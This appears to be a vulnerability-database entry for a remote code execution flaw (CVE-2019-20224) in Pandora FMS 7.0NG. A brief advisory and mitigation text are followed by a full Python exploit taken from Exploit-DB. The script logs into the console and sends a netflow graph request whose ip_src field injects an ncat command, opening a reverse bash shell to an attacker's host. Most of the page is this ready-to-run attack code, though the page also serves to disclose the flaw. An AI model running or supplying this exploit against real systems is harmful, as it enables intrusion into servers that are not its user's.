Pandora 7.0NG - Remote Code Execution

vendor:

Pandora 7.0NG

by:

Askar

8.8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Pandora 7.0NG

Affected Version From: 7.0NG

Affected Version To: 7.0NG

Patch Exists: YES

Related CWE: CVE-2019-20224

CPE: a:pandorafms:pandora_fms:7.0ng

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: CentOS 7.3 / PHP 5.4.16

2019

Pandora 7.0NG – Remote Code Execution

Pandora 7.0NG is vulnerable to a remote code execution vulnerability. An attacker can send a crafted graph request with a malicious ip_src parameter to execute arbitrary code on the vulnerable system. This vulnerability is due to insufficient sanitization of user-supplied input in the ip_src parameter of the graph request. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the vulnerable system.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version of Pandora 7.0NG.

Source

Exploit-DB raw data:

# Exploit Title: Pandora 7.0NG - Remote Code Execution
# Date: 2019-11-14
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2019-20224
# Vendor Homepage: https://pandorafms.org/
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: v7.0NG
# Tested on: CentOS 7.3 / PHP 5.4.16

#!/usr/bin/python3

import requests
import sys

if len(sys.argv) != 6:
    print("[+] Usage : ./exploit.py target username password ip port")
    exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = int(sys.argv[5])

request = requests.session()

login_info = {
    "nick": username,
    "pass": password,
    "login_button": "Login"
}

login_request = request.post(
    target+"/pandora_console/index.php?login=1",
    login_info,
    verify=False,
    allow_redirects=True
 )

resp = login_request.text

if "User not found in database" in resp:
    print("[-] Login Failed")
    exit()
else:
    print("[+] Logged In Successfully")

print("[+] Sending crafted graph request ..")

body_request = {
    "date": "0",
    "time": "0",
    "period": "0",
    "interval_length": "0",
    "chart_type": "netflow_area",
    "max_aggregates": "1",
    "address_resolution": "0",
    "name": "0",
    "assign_group": "0",
    "filter_type": "0",
    "filter_id": "0",
    "filter_selected": "0",
    "ip_dst": "0",
    "ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port),
    "draw_button": "Draw"
}

draw_url = target + "/pandora_console/index.php?sec=netf&sec2=operati=on/netflow/nf_live_view&pure=0"
print("[+] Check your netcat ;)")
request.post(draw_url, body_request)